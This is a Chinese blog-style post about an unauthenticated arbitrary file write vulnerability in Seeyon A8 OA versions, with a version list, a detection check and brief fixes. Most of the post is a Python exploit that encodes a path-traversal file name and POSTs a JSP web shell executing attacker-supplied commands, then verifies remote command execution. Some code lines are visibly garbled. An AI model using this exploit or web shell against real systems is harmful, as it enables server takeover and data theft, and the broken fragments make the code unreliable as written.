致远A8任意文件写入漏洞_getshell_exp

近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞，远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件，写入成功后可执行任意系统命令进而控制目标服务器。

目前已知易受攻击的版本：

致远A8-V5协同管理软件 V6.1sp1
致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致远A8+协同管理软件 V7.1

如果成功利用此漏洞的攻击者可以在目标系统上写入任意文件，执行任意代码，更改或删除数据。

值得注意的是该系统的默认权限很高，如果被攻击者成功利用则可能会造成很大的危害。

验证是否存在漏洞的方法：访问URL /seeyon/htmlofficeservlet 出现如下内容可能存在漏洞

DBSTEP V3.0     0            21               0             htmoffice operate err

下面贴上一段野外poc：

该poc仅供学习研究，请勿破坏他人计算机！

Poc首先是加密写入文件的路径，然后再获取加密后的路径写入任意文件Getshell

python：

 #coding=utf-8
 import sys
 import requests

 def encode(origin_bytes):
     """
     重构 base64 编码函数
     """
     # 将每一位bytes转换为二进制字符串
     base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
     base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes]

     resp = ''
     nums = len(base64_bytes) // 3
     remain = len(base64_bytes) % 3

     integral_part = base64_bytes[0:3 * nums]
     while integral_part:
         # 取三个字节，以每6比特，转换为4个整数
         tmp_unit = ''.join(integral_part[0:3])
         tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
         # 取对应base64字符
         resp += ''.join([base64_charset[i] for i in tmp_unit])
         integral_part = integral_part[3:]

     if remain:
         # 补齐三个字节，每个字节补充 0000 0000
         remain_part = ' * 8
         # 取三个字节，以每6比特，转换为4个整数
         # 剩余1字节可构造2个base64字符，补充==；剩余2字节可构造3个base64字符，补充=
         tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
         resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='

     return resp
 def getshell(urls):
     url = urls + "/seeyon/htmlofficeservlet"
     headers = {
         "Pragma": "no-cache",
         "Cache-Control": "no-cache",
         ",
         "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
         "Accept-Language": "zh-CN,zh;q=0.9",
         "Connection": "close",
     }
     file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\checkload32.jsp')
     payload = """DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV\r
 OPTION=S3WYOSWLBSGr\r
 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r
 CREATEDATE=wUghPB3szB3Xwg66\r
 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r
 originalFileId=wV66\r
 originalCreateDate=wUghPB3szB3Xwg66\r
 FILENAME="""+file_name+"""\r
 needReadFile=yRWZdAS6\r
 originalCreateDate=wLSGP4oEzLKAz4=iz=66\r
 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("zs".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce"""
     requests.post(url=url,data=payload,headers=headers)
     result = requests.get(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd+/c+echo+ZuoShou_Jsp_Shell")
     if 'ZuoShou_Jsp_Shell' in result.text :
         print(u'Jsp：Getshell成功\t{}'.format(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd /c whoami"))
     else :
         print(u'Getshell失败')
 if __name__ == '__main__':
     if len(sys.argv)!=2 :
         print(u"\t\t用法：python poc.py 'http://loaclhost'")
     else:
         url = sys.argv[1]
         getshell(url)

修复方案：

1：对路径 /seeyon/htmlofficeservlet 进行限制访问

2：及时联系官网打补丁http://www.seeyon.com/Info/constant.html